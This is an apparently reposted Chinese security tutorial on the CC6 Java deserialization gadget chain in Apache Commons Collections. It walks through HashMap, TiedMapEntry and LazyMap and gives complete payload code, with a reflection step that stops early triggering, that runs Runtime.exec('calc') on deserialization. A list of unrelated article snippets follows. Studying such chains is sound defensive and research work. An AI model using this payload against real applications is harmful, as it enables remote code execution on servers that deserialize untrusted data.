Java反序列化利用链篇 | CC6链分析(通用版CC链)

news2024/9/21 20:43:25

文章目录

    • CC6和CC1之间的区别
    • CC6的调用链
    • 构造CC6的payload
      • 完成`TiedMapEntry.getValue()`
      • 完成`TiedMapEntry.hashCode()`
      • 完成`HashMap.hash()`及`HashMap.readObject()`
      • 解决`hash()`方法提前触发的问题

系列篇其他文章,推荐顺序观看~

  • Java反序列化利用链篇 | JdbcRowSetImpl利用链分析
  • Java反序列化利用链篇 | CC1链_全网最菜的分析思路
  • Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链
  • Java反序列化利用链篇 | URLDNS链
  • Java反序列化利用链篇 | CC6链分析(通用版CC链)

CC6和CC1之间的区别

在CC1的LazyMap链中,调用链如下:

AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

而在CC1链中,对CommonsCollections和jdk版本是有限制的。

而CC6链不受版本影响,更具通用性。

其调用链为:

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

其和CC1的不同点在于,入口类不同,通过

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()

调用了LazyMapget()方法。

CC6的调用链

  • HashMap.readObject()方法调用了HashMap.hash()方法:

  • HashMap.hash()方法调用了key.hashCode()方法,如果要使调用的是TiedMapEntry.hashCode()方法,需要使key参数为TiedMapEntry对象:

  • TiedMapEntry.hashCode()方法调用了TiedMapEntry.getValue()方法:

  • TiedMapEntry.getValue()方法调用了map.get()方法,如果要使被调用的是LazyMap.get()方法,需要使map属性为LazyMap对象:

构造CC6的payload

CC6和CC1-2的调用链后半段一致

// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);

完成TiedMapEntry.getValue()

TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象

TiedMapEntry的构造方法为public,所以可以直接实例化

代码如下:

这里有一个点需要注意(小坑):TiedMapEntry()构造方法的第二个参数用不到,所以随意传入进行,但是重要的是它接受一个Object对象,而这个对象的类需要实现Serializable接口,如果不是,则后续的序列化不能成功。
所以,这里不能传入new Object(),但可以传入new String(),因为Object类没有实现Serializable接口。

// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());

其中的getValue()也为public修饰,所以可以直接调用用来测试

tiedMapEntry.getValue();

运行,成功执行恶意代码:

完成TiedMapEntry.hashCode()

接下来,看谁调用了tiedMapEntry的getValue(),前面已经说过,TiedMapEntryhashCode()方法中有调用,因此:

tiedMapEntry.hashCode();

这里直接测试,此时代码如下(只是将getValue方法替换成了hashCode方法):

完成HashMap.hash()HashMap.readObject()

接下来就是HashMap中的hash()方法调用hashCode()方法,其中传入的key需要是tiedMapEntry

hash()方法没有被public修饰,不能直接调用,因此需要利用readObject()方法,因为在readObject()方法中存在hash()方法的调用。

readObject()方法在反序列化的时候会被调用,因此我们只需要创建一个HashMap对象,然后序列化即可。注意key需要保证是tiedMapEntry

代码如下:

  HashMap hashMap = new HashMap();
  hashMap.put(tiedMapEntry,null);  // 将tiedMapEntry当做key存入hashMap

此时的payload的代码如下:

// CC6和CC1-2的调用链后半段一致
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null);  // 将tiedMapEntry当做key存入hashMap

SerAndUnser.serialize(hashMap);
//        SerAndUnser.unserialize("ser.bin");

看似完美,但是运行会发现,即使不进行序列,也会弹计算器?

这是为什么呢?

如果我们进入hashMap的put()方法会发现,put()方法中已经触发了hash()方法,

接下来,解决一下这个问题

解决hash()方法提前触发的问题

这里其实跟URLDNS链中的情况差不多~

我们的解决思路是:

  • 1)tiedMapEntry对象在put方式放入hashMap对象时,使tiedMapEntry对象中的内容不完整,进而不让最终的代码触发。
  • 2)put完成之后,通过反射再将tiedMapEntry对象中的内容修改完整。

那如何让tiedMapEntry对象中的内容不完整呢?这里需要看一下tiedMapEntry对象中有什么:

可以看到tiedMapEntry对象中有lazyMap、chainedTransformer、transformerArray。

其中tiedMapEntry对象的map属性存放的就是lazyMap,我们将map属性设置为空的map对象(除上面创建的lazyMap都行),则最终就不会触发到恶意代码 (当然其他的也行:只要保证整个链子到不了恶意代码就行)。

第1步先获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)

Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);

第2步将map属性设置为一个空的map对象(除上面创建的lazyMap都行)

mapField.set(tiedMapEntry,new HashMap());

第3步,完成put操作后,再将其设置为lazyMap对象

mapField.set(tiedMapEntry,lazyMap);

因此最终的payload为:

// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解决hash提前触发问题
// 1)获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)执行之前的put操作,此时tiedMapEntry对象是不完整的
hashMap.put(tiedMapEntry,"aaa");  // 将tiedMapEntry当做key存入hashMap
// 4)完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);

SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2153263.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LeetCode[中等] 215. 数组中的第 K 个最大元素

给定整数数组 nums 和整数 k,请返回数组中第 k 个最大的元素。 请注意,你需要找的是数组排序后的第 k 个最大的元素,而不是第 k 个不同的元素。 你必须设计并实现时间复杂度为 O(n) 的算法解决此问题。 思路:基于快排改进的快速…

【AI算法岗面试八股面经【超全整理】——深度学习】

AI算法岗面试八股面经【超全整理】 概率论【AI算法岗面试八股面经【超全整理】——概率论】信息论【AI算法岗面试八股面经【超全整理】——信息论】机器学习【AI算法岗面试八股面经【超全整理】——机器学习】深度学习CVNLP 目录 1、激活函数2、Softmax函数及求导3、优化器 1、…

LED灯、蜂鸣器、继电器的控制

LED灯的控制 该专栏所有文章都默认使用STM32F103ZET6开发板 目录 LED灯的控制 一、简单的LED灯控制 1、初始化函数 led灯 2、应用函数 2、蜂鸣器 3、继电器 一、简单的LED灯控制 编程框架:初始化函数和应用函数 1、初始化函数 初始化函数一般包括&#xf…

【学术会议:中国厦门,为全球的计算机科学与管理科技研究者提供一个国际交流平台】第五届计算机科学与管理科技国际学术会议(ICCSMT 2024)

您的学术研究值得被更多人看到! 在这里,我为您提供精准的会议推荐,包括计算机科学、管理科技、信息系统、人工智能、供应链管理等领域的国际会议。高效的稿件录用流程和优质的检索服务将确保您的研究成果迅速传播。关注我,寻找与…

Java免税商品优选商城:Spring Boot实战

第二章 系统开发关键技术 2.1 JAVA技术 Java主要采用CORBA技术和安全模型,可以在互联网应用的数据保护。它还提供了对EJB(Enterrise JavaBeans)的全面支持,java servlet AI,JS(java server ages&#xff09…

[Matplotlib教程] 02 折线图、柱状图、散点图教程

基于MFCC和CNN的语音情感识别 2 折线图、柱状图、散点图2.1 折线图2.1.1 简单折线图2.1.1 线形和Markevery2.1.2 带误差棒的折线图2.1.3 区间填充和透明度 2.2 柱状图2.2.1 分组柱状图2.2.2 堆叠柱状图2.2.3 横向柱状图 2.3 散点图 我们的网站是 菜码编程,我们的q群…

解决Hive乱码问题

在插入数据后,发现hive乱码 原因:Hive默认将存储表结构的元数据列编码设置为latin1,不支持中文 解决方法:在MySQL中修改对应Hive元数据列的编码 先查看mysql的所有字符集编码 1、先修改my.cnf 代码如下: vim /etc/…

C++——初步认识C++和namespace的用法

1.编程语言排行榜 我们通过排行可以看出 C在变成语言中还是占据着重要的地位 2.C在工作领域中的应用 1.PC客户端开发。⼀般是开发Windows上的桌面软件,比如WPS之类的,技术栈的话⼀般是C和 QT,QT 是⼀个跨平台的 C图形用户界面(G…

【解决】chrome 谷歌浏览器,鼠标点击任何区域都是 Input 输入框的状态,能看到输入的光标

chrome 谷歌浏览器,鼠标点击任何区域都是 Input 输入框的状态,能看到输入的光标 今天打开电脑的时候,网页中任何文本的地方,只要鼠标点击,就会出现一个输入的光标,无论在哪个站点哪个页面都是如此。 我知道…

Nature Communications|一种快速响应的智能可穿戴嗅觉接口(可穿戴电子/柔性电子/人机交互)

香港城市大学于欣格( Xinge Yu)、北京航空航天大学李宇航(Yuhang Li)、中国特种设备检验研究所赵召(Zhao Zhao)和东京大学Takao Someya团队,在《Nature Communications》上发布了一篇题为“Intelligent wearable olfactory interface for latency-free mixed reality and …

云盘视频保护神器,支持云盘视频加密与在线播放,配合alist使用,超完美!

平时我们保护视频,一般都是采用压缩工具,进行加密打包,然后在上传到网盘存储。这虽然能起到很好的保护,但是有很多问题?比如:无法直接在线播放,还得从网盘中下载后解压,才能进行观看…

【Python语言初识(一)】

一、python简史 1.1、python的历史 1989年圣诞节:Guido von Rossum开始写Python语言的编译器。1991年2月:第一个Python编译器(同时也是解释器)诞生,它是用C语言实现的(后面),可以调…

计算机人工智能前沿进展-大语言模型方向-2024-09-21

计算机人工智能前沿进展-大语言模型方向-2024-09-21 1. AIvril: AI-Driven RTL Generation With Verification In-The-Loop Authors: Mubashir ul Islam, Humza Sami, Pierre-Emmanuel Gaillardon, and Valerio Tenace AIVRIL: 人工智能驱动的RTL生成与验证内循环 摘要 本…

allWebPlugin中间件自定义alert、confirm及prompt使用

allWebPlugin简介 allWebPlugin中间件是一款为用户提供安全、可靠、便捷的浏览器插件服务的中间件产品,致力于将浏览器插件重新应用到所有浏览器。它将现有ActiveX控件直接嵌入浏览器,实现插件加载、界面显示、接口调用、事件回调等。支持Chrome、Firefo…

通信工程学习:什么是WLAN无线局域网

WLAN:无线局域网 WLAN(Wireless Local Area Network),即无线局域网,是一种利用无线技术实现局域网内设备间数据传输的网络系统。以下是对WLAN无线局域网的详细解释: 一、WLAN无线局域网的定义与概述 WLAN通…

python-3n+1数链/233

一:3n1数链题目描述 在计算机科学上,有很多类问题是无法解决的,我们称之为不可解决问题。然而,在很多情况下我们并不知道哪一类问题可以解决,哪一类问题不可解决。现在我们就有这样一个问题,问题如下&#…

Qt-QLabel 添加图片并设置 GIF 图动态效果

Qt-QLabel 添加图片并设置 GIF 图动态效果 一、添加图片资源并设置图片 选择标签,拖拉到界面上,然后选择器属性 picmap   选择设置,在这里添加图片资源   点击左边的加号符号按钮添加前缀,并设置前缀名,如果已经…

C++速通LeetCode中等第20题-随机链表的复制(三步简单图解)

方法图解: class Solution { public:Node* copyRandomList(Node* head) {if ( !head ) {return nullptr;}Node *cur head;// 1. 在原节点的每个节点后创建一个节点while ( cur ) {Node *newNode new Node(cur -> val);newNode -> next cur -> next;cur …

一篇进阶Python深入理解函数之高阶函数与函数式编程

当我们深入探讨了函数的作用域与闭包,了解到函数不仅是代码的执行单元,还能通过闭包完成数据的封装与保护.接下来,我们将进一步挖掘函数的强大特性,尤其是高阶函数与函数式编程,帮助你更全面地理解 Python 中函数的特性与应用. 高阶函数 高阶函数是指接受一个或多个函数作为参…

混合开发-JSBridge

1.1 什么是混合开发? 混合开发是一种融合了原生开发和Web开发优势的移动应用开发方式。 具体来说,混合开发通常指的是利用一种框架或平台来创建应用程序,这种程序结合了原生应用的一些功能和特性(比如访问设备的摄像头、相册、GPS、蓝牙等…